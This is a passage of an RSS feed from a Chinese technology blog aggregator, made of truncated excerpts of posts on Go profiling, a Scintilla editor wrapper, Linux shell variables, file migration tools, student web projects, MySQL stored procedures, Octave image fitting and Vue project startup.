      <guid>https://bchobby.github.io/posts/ba3906a71bf1bc00701f4edc5c6b77d0/</guid>
      <description>文章目录 前言几种库debug 库 (各种调试文件格式访问及调试功能)相关的包和工具：示例 encoding (常见算法如 JSON、XML、Base64 等)常用的子包和其主要功能：示例 flag(命令行解析)关键概念：示例示例执行 总结专栏集锦写在最后 前言 上一篇，我们介绍了container、crypto、database三个库，这篇我们继续介绍剩下的库&#xA;几种库 debug 库 (各种调试文件格式访问及调试功能) 在 Go 语言的标准库中，并没有一个名为 debug 的独立库。&#xA;然而，Go 提供了一系列的工具和包，用于调试和性能分析。&#xA;这些工具和包包括 debug/pprof、runtime/pprof、net/http/pprof 等，用于生成和分析性能剖析数据。&#xA;相关的包和工具： runtime/pprof： 提供了运行时性能分析的功能，可以用于查看 CPU 和内存的使用情况。它通过在代码中插入特殊的语句来收集性能数据。net/http/pprof： 提供了 HTTP 接口，用于在运行时进行性能分析。可以通过浏览器或使用 go tool pprof 工具来查看分析结果。debug/pprof： 为 net/http/pprof 提供了基础的实现，可以方便地将性能分析数据暴露为 HTTP 端点。 示例 以net/http/pprof 包的示例&#xA;package main import ( _ &#34;net/http/pprof&#34; &#34;net/http&#34; &#34;time&#34; ) func main() { // 启动 HTTP 服务 go func() { http.ListenAndServe(&#34;:6060&#34;, nil) }() // 示例业务逻辑 for { work() time.</description>
    </item>
    <item>
      <title>2401编辑器,好插件</title>
      <link>https://bchobby.github.io/posts/8623e5b5920cf9206bddd81894e71052/</link>
      <pubDate>Mon, 01 Jan 2024 10:06:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8623e5b5920cf9206bddd81894e71052/</guid>
      <description>原文&#xA;CScintillaCtrl,CScintillaView和CScintillaDocv1.82&#xA;Scintilla编辑控件的免费MFC和ATL/WTL包装类&#xA;这些类为Scintilla编辑控件(http://www.scintilla.org)提供MFC和ATL/WTL包装.此控件提供开源跨平台编辑控件.&#xA;部分功能包括语法高亮,调用提示,括号高亮,风格,边距和标记等等.提供的包装类使其更容易在窗口的MFC/WTL项目中的控件中包含.&#xA;特征 1,实现Scintillav5.4.1提供的所有功能.&#xA;2,CScintillaCtrl包装类,与在MFC的&#34;CEdit&#34;包装类相同语义.此类还可不依赖MFC,与ATL/WTL一起使用.&#xA;3,自动使用Scintilla提供的直接访问功能提高性能.&#xA;4,CScintillaView和CScintillaDoc类提供完整的,可放入现有项目中,而不是内置的MFC富编辑或编辑控件类的文档/视图实现.&#xA;5,内置MFC持久性支持.&#xA;6,使用WM_NOTIFY和WM_COMMAND发送的所有通知都映射到视图包装类中,以方便使用C++虚函数.&#xA;7,CScintillaView类,提供默认折叠实现.&#xA;8,包括普通Scintilla提供表达支持的完整&#34;查找和替换&#34;支持.为此,从标准MFC&#34;CFindReplaceDialog&#34;类继承来实现的&#34;CScintillaFindReplaceDlg&#34;类.&#xA;9,包括CScintillaView中的完整MFC打印实现.&#xA;10,完全支持标准页设置对话框和打印页边距.&#xA;11,包括打印页眉和页脚的框架.&#xA;12,包括对所有标准MFC菜单项的支持,如剪切,复制,粘贴等.&#xA;13,示例演示了如何转发顶级消息到Scintilla控件.&#xA;14,示例还演示了如何实现自动补全,并在代码中调用提示.&#xA;15,这些类隐藏了Scintilla自身不支持窗口的Unicode(又名UTF16)的事实.Scintilla通过UTF8支持Unicode,&#34;CScintillaCtrl&#34;包装类负责,安装Scintilla的Unicode代码页及UTF8之间的转换串.&#xA;如果你查看&#34;ScintillaCtrl.h&#34;头文件,在Scintilla中,会看见涉及串参数,及函数的宽字符的串版本等.在&#34;_UNICODE&#34;的#ifdef预处理器中包装这些宽符串函数.&#xA;16在内部,这些函数执行在窗口Unicode和Scintilla的UTF8间的转换.注意,要执行此转换,代码使用WideCharToMultiByte和MultiByteToWideChar提供的UTF8翻译功能.&#xA;用法 要在代码中使用该类,只需在你的模块中包含ScintillaCtrl.h和ScintillaCtrl.cpp,并#include ScintillaCtrl.h.&#xA;如果要使用文档/视图包装器,则还包括ScintillaDocView.h及ScintillaDocView.cpp.&#xA;如果用mfc,则代码需要静态或动态包含MFC.否则,仅使用ATL/WTL.&#xA;如果要动态链接到Scintilla,在&#34;Scintilla.dll&#34;和&#34;Lexilla.dll&#34;上,启动应用时,应调用LoadLibrary.&#xA;如果静态包含控件代码,则需要自己注册Scintilla窗口类.另见Scintilla/Lexilla网站上的说明1,2.&#xA;要查看各种类运行情况,请查看&#34;ScintillaDemoView.cpp&#34;模块和示例中的&#34;ScintillaDemo.cpp&#34;.&#xA;版权 产品以二进制形式发布时,可在产品(商业,共享软件,免费软件或其他)中使用.&#xA;可你想要的方式修改源码,但不能修改每个模块顶部的版权细节.&#xA;如果想用应用分发源码,则只允许分发作者发布的版本.来维护源码的单个分发点.</description>
    </item>
    <item>
      <title>shell命令</title>
      <link>https://bchobby.github.io/posts/630bcb8588d9144956a96c2c4f0ff5e4/</link>
      <pubDate>Mon, 01 Jan 2024 09:45:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/630bcb8588d9144956a96c2c4f0ff5e4/</guid>
      <description>1.Linux的变量种类&#xA;按变量的生存周期来划分，Linux变量可分为两类：&#xA;1.1 永久的：需要修改配置文件，变量永久生效。&#xA;1.2 临时的：使用export命令声明即可，变量在关闭shell时失效。&#xA;2.设置变量的三种方法&#xA;2.1 在/etc/profile文件中添加变量【对所有用户生效(永久的)】&#xA;用VI在文件/etc/profile文件中增加变量，该变量将会对Linux下所有用户有效，并且是“永久的”。&#xA;例如：编辑/etc/profile文件，添加CLASSPATH变量&#xA;# vi /etc/profile&#xA;export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib&#xA;注：修改文件后要想马上生效还要运行# source /etc/profile不然只能在下次重进此用户时生效。&#xA;2.2 在用户目录下的.bash_profile文件中增加变量【对单一用户生效(永久的)】&#xA;用VI在用户目录下的.bash_profile文件中增加变量，改变量仅会对当前用户有效，并且是“永久的”。&#xA;例如：编辑guok用户目录(/home/guok)下的.bash_profile&#xA;$ vi /home/guok/.bash.profile&#xA;添加如下内容：&#xA;export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib&#xA;注：修改文件后要想马上生效还要运行$ source /home/guok/.bash_profile不然只能在下次重进此用户时生效。&#xA;2.3 直接运行export命令定义变量【只对当前shell(BASH)有效(临时的)】&#xA;在shell的命令行下直接使用[export 变量名=变量值] 定义变量，该变量只在当前的shell(BASH)或其子shell(BASH)下是有效的，shell关闭了，变量也就失效了，再打开新shell时就没有这个变量，需要使用的话 还需要重新定义。&#xA;3.环境变量的查看&#xA;3.1 使用echo命令查看单个环境变量。例如：&#xA;echo $PATH&#xA;3.2 使用env查看所有环境变量。例如：&#xA;env&#xA;3.3 使用set查看所有本地定义的环境变量。&#xA;unset可以删除指定的环境变量。&#xA;4.常用的环境变量&#xA;PATH 决定了shell将到哪些目录中寻找命令或程序&#xA;HOME 当前用户主目录&#xA;HISTSIZE　历史记录数&#xA;LOGNAME 当前用户的登录名&#xA;HOSTNAME　指主机的名称&#xA;SHELL 当前用户Shell类型&#xA;LANGUGE 语言相关的环境变量，多语言可以修改此环境变量&#xA;MAIL　当前用户的邮件存放目录&#xA;PS1　基本提示符，对于root用户是#，对于普通用户是$</description>
    </item>
    <item>
      <title>shell变量详解</title>
      <link>https://bchobby.github.io/posts/39e09041f725e5830682719158f1b3d6/</link>
      <pubDate>Mon, 01 Jan 2024 09:41:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39e09041f725e5830682719158f1b3d6/</guid>
      <description>1 创建变量 xpz=xiaopzi&#xA;2 读取变量 (1)echo ${xpz}&#xA;(2)echo $xpz&#xA;(3)注意：echo ${xpz}s 和 echo $xpzs 输出是不一样的&#xA;3 撤销变量 unset xpz&#xA;unset -f 函数名 //撤销函数&#xA;小结：bash是弱类型语言，默认会把变量当成字符串处理，所以，我们可以认为bash中的变量值都是字符串。&#xA;变量是存在作用域的概念的，按照作用域划分：本地变量和环境变量&#xA;本地变量 本地变量的作用域：只对当前bash进程有效，对当前shell之外的其他shell进程，包括当前shell的子进程都无效&#xA;本地变量还分为：局部变量和全局变量&#xA;局部变量创建方式:local varname=value&#xA;局部变量的作用域：局部变量只对当前函数或者代码段有效&#xA;环境变量 声明方式：export varname=value&#xA;作用域：当前shell进程以及子进程&#xA;脚本执行方式 1 source ./test.sh&#xA;. /root/test/test.sh&#xA;点 空格 脚本全路径&#xA;//表示脚本在当前进程执行&#xA;2 ./test.sh //打开一个子进程&#xA;只读变量 声明方式：readonly varname＝value&#xA;不可修改，不可撤销（unset），如果想让只读变量消失，只能退出当前shell&#xA;作用域：和本地变量一样，如果想让子shell进程继承，只能变成环境只读变量&#xA;环境只读变量 声明方式：export readonly varname=value&#xA;特殊变量 $? 保存了上一个命令执行状态返回值&#xA;范围：0-255 0表示成功&#xA;位置变量&#xA;$# 表示传入脚本参数的个数&#xA;$@ 参数列表，获取到所有参数&#xA;$* 参数列表 同$#</description>
    </item>
    <item>
      <title>适用于电脑的 8 款文件/软件迁移软件 – 快速安全地更换电脑！</title>
      <link>https://bchobby.github.io/posts/09f669f58bee9a84b586561cd81e8308/</link>
      <pubDate>Mon, 01 Jan 2024 09:39:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09f669f58bee9a84b586561cd81e8308/</guid>
      <description>将文件/软件从一台设备传输到另一台设备已成为我们日常生活的重要组成部分，无论是出于个人目的还是出于职业目的。在当今快节奏的世界中，我们经常需要在不同设备之间传输大文件，例如视频、照片、文档等。虽然云服务提供了一种共享文件的好方法，但它们也有局限性。它们不仅成本高昂，而且需要互联网连接，而互联网连接可能并不总是可用。&#xA;幸运的是，随着文件/软件传输软件的出现，传输大文件变得更加容易、方便和可靠。市场上有许多文件/软件传输软件解决方案。然而，并非所有这些都提供相同的质量、效率和易用性。在这篇博文中，我们将讨论适用于电脑 的 8 个文件/软件文件传输软件，它们可以帮助您快速、安全地共享文件。&#xA;什么是文件/软件传输软件？ 文件/软件传输软件是一种用于在不同设备或计算机之间传输文件的软件。这些软件解决方案旨在促进快速、安全和可靠的文件传输，无需 USB 驱动器或外部硬盘驱动器等物理设备。通过这些软件解决方案，用户可以传输任何大小的文件，从文档和图像等小文件到视频和整个文件夹等大文件。&#xA;文件/软件传输软件使用专门的协议在两个设备之间建立连接，使它们能够安全、快速地传输数据。文件传输软件可用于个人和专业目的，包括与朋友和家人共享文件、项目协作以及备份数据。&#xA;适用于电脑的 8 款最佳文件/软件传输软件 1. 奇客电脑迁移 奇客电脑迁移是市场上最受欢迎的基于云的文件传输软件解决方案之一。它提供多种文件迁移，包括软件与授权信息。奇客电脑迁移用户友好，允许用户快速传输任何大小的文件。它与各种操作系统无缝集成，包括 Windows、Mac 。&#xA;奇客电脑迁移电脑数据迁移可以轻松地将所有数据从旧电脑转移到新电脑，支持程序、软件设置、文档（Word、Excel、钉钉文件等）、音乐、图片、视频、收藏夹、电子邮件等所有电脑文件迁移。https://www.geekersoft.cn/dian-nao-qian-yi.html&#xA;此外，奇客电脑迁移提供了一个软件授权信息查看迁移功能，用户可以实时管理软件授权管理文件。能很好的避免软件搬家后不能使用问题，该软件使用户能够迁移整个文件夹，使其成为项目团队的理想选择。&#xA;优点：&#xA;– 用户友好的界面&#xA;– 与各种操作系统集成&#xA;– 提供软件与授权迁移&#xA;缺点：&#xA;– 免费版本的存储选项有限。&#xA;2. 特雷索里特 Tresorit 是市场上最安全的文件传输软件解决方案之一。它使用端到端加密技术来确保所有传输的数据都是安全的。Tresorit 提供 14 天免费试用，试用后用户可以选择不同的定价计划。该软件还具有用户友好性，使用户能够轻松地与其他用户共享文件。&#xA;此外，Tresorit 允许用户为他们共享的每个文件或文件夹设置特定权限，从而轻松管理访问控制。该软件还提供与各种操作系统的集成，包括 Windows、Mac 和 Linux。&#xA;优点：&#xA;– 通过端到端加密提供顶级安全性&#xA;– 允许用户为文件或文件夹设置特定权限&#xA;– 用户友好的界面&#xA;缺点：&#xA;– 成本可能很高，尤其是对于预算有限的团队而言。&#xA;– 定价结构可能不适合小型企业或自由职业者。&#xA;3、WeTransfer WeTransfer 是一款流行的文件传输软件，提供免费和付费版本。免费版本允许用户一次最多传输 2GB 的数据，而付费版本则提供高达 20GB 的传输限制。该软件易于使用，使用户能够快速传输文件，无需注册任何帐户或安装额外的软件。&#xA;通过 WeTransfer，用户可以通过电子邮件发送文件或共享上传文件的链接。该网站还提供视觉背景和 GIF，使其成为一种愉快而有趣的文件共享体验。&#xA;优点：&#xA;– 提供快速、简单的文件传输，无需注册帐户&#xA;– 网站界面具有视觉吸引力</description>
    </item>
    <item>
      <title>（附源码）node.js&#43;高校跳蚤市场网站 毕业设计39420</title>
      <link>https://bchobby.github.io/posts/8d60e64d0cdabb140f94e9b827866379/</link>
      <pubDate>Mon, 01 Jan 2024 08:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d60e64d0cdabb140f94e9b827866379/</guid>
      <description>node.js高校跳蚤市场网站 摘 要 随着互联网的使用越来越广泛，人们开始选择网站购物，但是就目前来说，这些购物网站所面对的对象大多是社会总体人群，在商品选择的问题上，并没有很强的针对性，而且大多数购物系统均需购买者支付邮费，因此不能很好的满足用户对商品出售的需求。面对这一现状，在充分利用网上购物技术这一总体优势的基础上，完善了对应的软体架设以及程序编码的工作，采取MySQL作为后台数据的主要存储单元，采用SSM框架、JSP技术、Ajax技术进行业务系统的编码及其开发，设计了一个专门针对购物用户的跳蚤市场应用网站，给购物用户提提供商品交易的平台。&#xA;该系统的设计遵循了模块化的原则，将一个完整的跳蚤市场网站分解为各个模块，然后逐一实现各个模块的功能，最后把各个模块组装到一起构成一个完整的跳蚤市场网站。&#xA;关键词：跳蚤市场；Node.js ；数据库&#xA;node.js University Flea Market Website Abstract As the Internet is used more and more widely, people begin to choose websites for shopping. However, for the moment, these shopping websites are mostly targeted at the general population of the society. They are not very targeted in terms of commodity selection, and most shopping systems require the buyer to pay the postage, so they cannot meet the user&#39;s demand for commodity sales.</description>
    </item>
    <item>
      <title>18. Mysql 存储过程，实现动态数据透视</title>
      <link>https://bchobby.github.io/posts/565c85ec25721c001ec16c1c1ef4e423/</link>
      <pubDate>Mon, 01 Jan 2024 08:42:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/565c85ec25721c001ec16c1c1ef4e423/</guid>
      <description>文章目录 概述常见操作创建存储过程存储过程局部变量定义和赋值查看存储过程删除存储过程调用存储过程 示例-动态数据透视详细讲解总结参考资料 概述 Mysql 存储过程是一组预先编译的 sql 语句集合，它们被存储在数据库中，并可以被多次调用执行。存储过程可以接受参数、执行复杂的逻辑操作，并返回结果或修改数据库的状态。&#xA;存储过程有以下几个优点：&#xA;代码复用：存储过程可以将常用的操作逻辑封装起来，以便在多个地方重复使用，避免重复编写相同的 sql 语句。&#xA;提高性能：存储过程在编译时进行优化，可以减少通信开销，提高数据库的执行效率。&#xA;安全性：存储过程可以控制对数据库的访问权限，只暴露必要的接口，提高数据的安全性。&#xA;简化操作：存储过程可以执行复杂的数据库操作，减少客户端与数据库之间的交互次数，简化了客户端的代码。&#xA;常见操作 创建存储过程 使用 create procedure 语句来创建存储过程，语法如下：&#xA;create procedure procedure_name ([in|out|inout] parameter_name data_type [, ...]) begin -- 存储过程的代码逻辑 end; 其中，procedure_name是存储过程的名称，parameter_name是存储过程的参数名，data_type是参数的数据类型。 in、out 或 inout 类型解释如下：，分别表示输入参数、输出参数和输入输出参数。&#xA;in ：表示当前参数为输入参数，存储过程只是读取这个参数的值。如果没有定义参数种类， 默认就是 in 。out ：表示当前参数为输出参数，执行完成之后，调用这个存储过程的客户端或者应用程序就可以读取这个参数返回的值。inout ：表示当前参数既可以为输入参数，也可以为输出参数。 存储过程局部变量定义和赋值 局部变量的定义和赋值，在上一节有提到过，具体可查看：Mysql 变量的使用。&#xA;declare &amp;lt;变量名&amp;gt; &amp;lt;变量类型&amp;gt; default &amp;lt;默认值&amp;gt;; set &amp;lt;变量名&amp;gt;=&amp;lt;值&amp;gt;; 查看存储过程 # 查看存储过程和函数的创建信息 show create procedure 存储过程名称; # 查看存储过程状态信息 show procedure status like &#39;%max_salary%&#39;; 删除存储过程 删除是必修课，在任何一个DDL语句中都必须学习创建和删除，语法如下：</description>
    </item>
    <item>
      <title>Octave处理高斯光束</title>
      <link>https://bchobby.github.io/posts/8becc7aa88403e28e397735d68ff3eff/</link>
      <pubDate>Mon, 01 Jan 2024 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8becc7aa88403e28e397735d68ff3eff/</guid>
      <description>文章目录 读取图像截取感兴趣区域强度图拟合 Octave是一种开源的数值计算软件，主要用于科学计算、数据分析和数值模拟等领域。既提供了一个用户友好的命令行界面，使用户能够通过输入简单的命令来进行各种数学运算和数据操作。也提供了功能完备的GUI窗口，可以时刻监控变量。因其与Matlab相似的语法和功能，因此也被视为Matlab的开源替代品。&#xA;用不同的语言和工具处理高斯光束：&#xA;Python✨R语言✨Julia✨Mathemetica✨C#✨Excel+VBA✨ImageJ✨Octave&#xA;读取图像 Octave与Matlab有着几乎完全相同的语法，堪称Matlab的最佳开源替代。其图像处理方法也与Matlab如出一辙，首先，通过imread打开图像。&#xA;Octave界面上方会显示当前目录，若图像在当前目录中，可使用相对路径；否则需要使用绝对路径。&#xA;img = imread(&#39;test.bmp&#39;);%通过相对路径读取图片 img = imread(&#39;D:\Code\optics\img\test.bmp&#39;);%通过绝对路径读取图片 size(img) %ans = % 1024 1280 imshow(img) 下图是Octave的绘图窗口。&#xA;截取感兴趣区域 上图中存在大量的无用信息，目标光斑仅占据很小的一片区域，故需对图像进行截取，首先通过函数ginput选择截取区域。ginput操作的是最后被打开而未被关闭的窗口对象，其输入参数为将要选取的点的个数，在这里我们选择两个点将目标区域框起来，其返回值为选取点的横纵坐标。&#xA;和Matlab不同，如果不明确其输出变量X,Y,Btn，那么返回值将只显示第一项，即X。&#xA;imshow(img) [X,Y,Btn] = ginput(2) %X = % 353.24 % 434.34 %Y = % 178.93 % 265.93 %Btn = % 1 % 1 接下来通过矩阵选取的方式，选择感兴趣的区域，需要注意的是，截取图像时行在前，列在后，而x代表列数，y代表行数。截取之后的图片如下图所示&#xA;roi = img(178:265, 353:434); imshow(roi) 强度图 灰度图并不直观，相比之下，3D网格图可以更加直观地表现光斑的强度信息，mesh函数可以做到这一点&#xA;mesh(roi) 通过view函数，可调整网格图的视角，例如，[0 0 1]表示俯视图&#xA;view([0 0 1]) 二者效果如下&#xA;默认视图view([0 0 1]) 拟合 高斯光束之所以被冠以高斯之名，乃因其在空间中强度呈现出高斯分布，所以接下来就要通过高斯函数对齐进行拟合。然而作为二维数据的图像，在拟合时并不直观，故此可从每一行选出最大值作为单一坐标下的强度，然后再行数据拟合。&#xA;arr = max(roi); arr = double(arr); %将其转为浮点型 x = 1:length(arr)*1.</description>
    </item>
    <item>
      <title>VUE——IDEA 启动前端工程VS文件启动前端工程</title>
      <link>https://bchobby.github.io/posts/a2b3c8f12acbc537afd0700132055bcf/</link>
      <pubDate>Mon, 01 Jan 2024 07:27:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2b3c8f12acbc537afd0700132055bcf/</guid>
      <description> IDEA 启动前端&#xA;目录 前言一、打开控制台二、输入npm install三、依赖下载完之后，输入npm run dev，运行前端项目1、IDEA启动前端工程2、文件目录启动前端工程 四、点击http://localhost:8080后续敬请期待 前言 启动已有的vue前端项目&#xA;一、打开控制台 选中前端工程，右键，点价下图按钮&#xA;二、输入npm install 输入npm install 下载依赖&#xA;三、依赖下载完之后，输入npm run dev，运行前端项目 1、IDEA启动前端工程 2、文件目录启动前端工程 找到文件目录，在地址输入cmd，回车&#xA;输入npm run dev，回车即可&#xA;四、点击http://localhost:8080 运行成功之后，点击图中的 http://localhost:8080 即可访问启动的前端页面&#xA;后续敬请期待 </description>
    </item>
    <item>
      <title>BIO和NIO编程(待完善)</title>
      <link>https://bchobby.github.io/posts/347604ddf0b39dfe398a8d9ee72b569e/</link>
      <pubDate>Mon, 01 Jan 2024 05:50:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/347604ddf0b39dfe398a8d9ee72b569e/</guid>
      <description>BIO 阻塞式IO, 不支持高并发&#xA;NIO 非阻塞式IO&#xA;Reactor模式&#xA;NIO的三大核心组件：Selector 选择器、Channel 管道、buffer 缓冲区&#xA;SelectionKey: 连接事件</description>
    </item>
    <item>
      <title>基于Spring Boot的校园二手平台设计与实现</title>
      <link>https://bchobby.github.io/posts/55346e6ade0f4380701fa39dfda111b9/</link>
      <pubDate>Mon, 01 Jan 2024 03:13:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55346e6ade0f4380701fa39dfda111b9/</guid>
      <description>目录&#xA;前言&#xA;一、技术栈&#xA;二、系统功能介绍&#xA;三、核心代码&#xA;1、登录模块&#xA;2、文件上传模块&#xA;3、代码封装&#xA;前言 信息数据从传统到当代，是一直在变革当中，突如其来的互联网让传统的信息管理看到了革命性的曙光，因为传统信息管理从时效性，还是安全性，还是可操作性等各个方面来讲，遇到了互联网时代才发现能补上自古以来的短板，有效的提升管理的效率和业务水平。传统的管理模式，时间越久管理的内容越多，也需要更多的人来对数据进行整理，并且数据的汇总查询方面效率也是极其的低下，并且数据安全方面永远不会保证安全性能。结合数据内容管理的种种缺点，在互联网时代都可以得到有效的补充。结合先进的互联网技术，开发符合需求的软件，让数据内容管理不管是从录入的及时性，查看的及时性还是汇总分析的及时性，都能让正确率达到最高，管理更加的科学和便捷。本次开发的校园二手平台实现了学生可以快速查询到自己想要的商品。系统运用到了关系型数据库中MySql作为系统的数据库，有效的对数据进行安全的存储，有效的备份，对数据可靠性方面得到了保证。并且程序也具备程序需求的所有功能，使得操作性还是安全性都大大提高，让校园二手平台更能从理念走到现实，极大提高了学生们的信息处理效率。&#xA;一、技术栈 末尾获取源码&#xA;SpringBoot+Vue+JS+ jQuery+Ajax...&#xA;二、系统功能介绍 首页是系统前台用户注册登录页面，有账号密码的用户可以输入自己的账号密码登录到系统；没有账号密码的可点击注册用户输入自己的相关信息即可注册成功； 登录进入到系统，会在个人中心显示你注册时候输入的信息并且可以选择修改自己的个人信息或者头像等； 在首页用户可以查看到系统的公告信息，如需要更深度了解公告信息则可以选择点击相应的公告信息进入查看； 在商品界面我们可以看到管理员发布的商品信息，如有喜欢的商品则可以点击想要的商品进入商品详情页面进行加入购物车或者选择直接购买又或者选择留言； 在商品求购页面，用户可以查看到其他用户发布的求购商品，如用户有该商品可以选择点击相应商品进入到商品详情页面查看用户的联系方式进行联系。 在购物车页面，用户可以查看自己加入购物车的商品，如有需要则可以点击购买选择下单并且付款； 在前台页面，点击导航上的后台管理可以跳转到管理员和用户的登录页面 输入正确的账号密码后会跳转到校园二手平台的后台首页，进入到系统的页面如下图显示以下全部功能限于管理员仅有； 在个人中心中，管理员可以修改自己的密码或者修改自己的信息； 在管理员管理中，现有的管理员可以添加新的管理员； 在举报入口页面，管理员可以查看用户举报的信息情况等； 在基础数据管理中，管理员可以对公告类型和商品类型进行添加删除修改等操作； 在公告信息管理中，管理员可以发布新的公告信息又或者可以删除等操作； 在商品管理中，管理员可以在商品管理中添加新的商品又或者删除修改商品等；在商品留言中，管理员可以查看用户针对某个商品留言；在商品订单中可以查看用户下单的商品信息； 在商品求购中，管理员可以查看用户发布的商品求购商品，如有违禁可以选择删除等； 三、核心代码 1、登录模块 package com.controller; import java.util.Arrays; import java.util.Calendar; import java.util.Date; import java.util.Map; import javax.servlet.http.HttpServletRequest; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import com.annotation.IgnoreAuth; import com.baomidou.mybatisplus.mapper.EntityWrapper; import com.</description>
    </item>
    <item>
      <title>基于Spring Boot的疫情社区管理系统</title>
      <link>https://bchobby.github.io/posts/95717217f10d7f29a0d2b975059f7408/</link>
      <pubDate>Mon, 01 Jan 2024 03:10:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95717217f10d7f29a0d2b975059f7408/</guid>
      <description>目录&#xA;前言&#xA;一、技术栈&#xA;二、系统功能介绍&#xA;前台首页功能模块&#xA;管理员功能模块&#xA;用户功能模块&#xA;三、核心代码&#xA;1、登录模块&#xA;2、文件上传模块&#xA;3、代码封装&#xA;前言 随着互联网大趋势的到来，社会的方方面面，各行各业都在考虑利用互联网作为媒介将自己的信息更及时有效地推广出去，而其中最好的方式就是建立网络管理系统，并对其进行信息管理。由于现在网络的发达，疫情社区管理系统的资讯信息通过网络进行信息管理掀起了热潮，所以针对疫情社区管理系统的用户需求开发出一套疫情社区管理系统。&#xA;整个开发过程首先对软件系统进行需求分析，得出系统的主要功能。接着对系统进行总体设计和详细设计。总体设计主要包括系统功能设计、系统总体结构设计、系统数据结构设计和系统安全设计等；详细设计主要包括系统数据库访问的实现，主要功能模块的具体实现，模块实现关键代码等。最后对系统进行功能测试，并对测试结果进行分析总结，得出系统中存在的不足及需要改进的地方，为以后的系统维护提供了方便，同时也为今后开发类似系统提供了借鉴和帮助。&#xA;本系统开发利用现有的成熟技术参考，以源代码为模板，分析功能调整与疫情社区管理系统的实际需求相结合，确定了Java开发疫情社区管理系统的使用。&#xA;一、技术栈 末尾获取源码&#xA;SpringBoot+Vue+JS+ jQuery+Ajax...&#xA;二、系统功能介绍 前台首页功能模块 疫情社区管理系统，在系统首页可以首页、医疗专家、志愿者信息、论坛信息、疫情公告、留言反馈、个人中心、后台管理等内容&#xA;登录、用户注册，在用户注册页面可以填写用户名、密码、姓名、身份证、手机、地址等进行用户注册&#xA;医疗专家，在医疗专家页面填写账号、职称、手机、价格、服务时间、简述等信息进行咨询、预约 管理员功能模块 管理员登录，管理员通过输入用户名，密码，角色等信息进入疫情社区管理系统&#xA;管理员登录进入疫情社区管理系统可以查看首页、个人中心，用户管理、医疗专家管理、专家咨询管理、咨询回复管理、预约信息管理、健康档案管理、志愿者信息管理、报名信息管理、行动报告管理、业务代办管理、费用缴纳管理、留言板管理、论坛管理、系统管理等内容&#xA;用户管理，在用户管理页面可以查看用户名、密码、姓名、性别、头像、身份证、手机、地址等内容，并可根据需要进行修改，删除或查看详细内容等操作&#xA;医疗专家管理，在医疗专家管理页面可以查看账号、密码、专家姓名、性别、头像、职称、手机、价格、服务时间、简述等内容，并可根据需要对医疗专家管理进行修改，删除或查看详细内容等操作&#xA;志愿者信息管理，在志愿者信息管理页面可以查看名称、图片、简介、招募要求、文件、招募人数、报名人数、日期等内容，并可根据需要对志愿者信息管理进行修改，删除或查看详细内容等操作&#xA;轮播图；该页面为轮播图管理界面。管理员可以在此页面进行首页轮播图的管理，通过新建操作可在轮播图中加入新的图片，还可以对以上传的图片进行修改操作，以及图片的删除操作&#xA;预约信息管理，在预约信息管理页面可以查看名称、账号、专家姓名、价格、预约日期、预约时间等内容，并可根据需要进行修改，删除或查看详细内容等操作&#xA;健康档案管理，在健康档案管理页面可以查看档案编号、名称、用户名、姓名、检查状况、医生建议、发布日期等内容，并可根据需要进行修改，删除或查看详细内容等操作&#xA;行动报告管理，在行动报告管理页面可以查看名称、用户名、姓名、行动轨迹、体温、身体状况等内容，并可根据需要进行修改，删除或查看详细内容等操作&#xA;用户功能模块 用户登录，用户通过输入用户名，密码，角色等信息进入疫情社区管理系统&#xA;用户登录进入疫情社区管理系统可以查看首页、个人中心、专家咨询管理、咨询回复管理、预约信息管理、健康档案管理、报名信息管理、行动报告管理、业务代办管理、费用缴纳管理等功能&#xA;预约信息管理，在预约信息管理页面可以通过填写名称、账号、专家姓名、价格、预约日期、预约时间等详细信息进行查看详情&#xA;健康档案管理，在健康档案管理页面可以通过填写档案编号、名称、用户名、姓名、检查状况、医生建议、发布日期等内容进行查看、详情&#xA;行动报告管理，在行动报告管理页面可以通过填写名称、用户名、姓名、行动轨迹、体温、身体状况等内容进行查看、详情&#xA;三、核心代码 1、登录模块 package com.controller; import java.util.Arrays; import java.util.Calendar; import java.util.Date; import java.util.Map; import javax.servlet.http.HttpServletRequest; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.</description>
    </item>
    <item>
      <title>FingerprintService启动-Android13</title>
      <link>https://bchobby.github.io/posts/e45204f6825e1a4471455940f616d0fa/</link>
      <pubDate>Mon, 01 Jan 2024 01:57:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e45204f6825e1a4471455940f616d0fa/</guid>
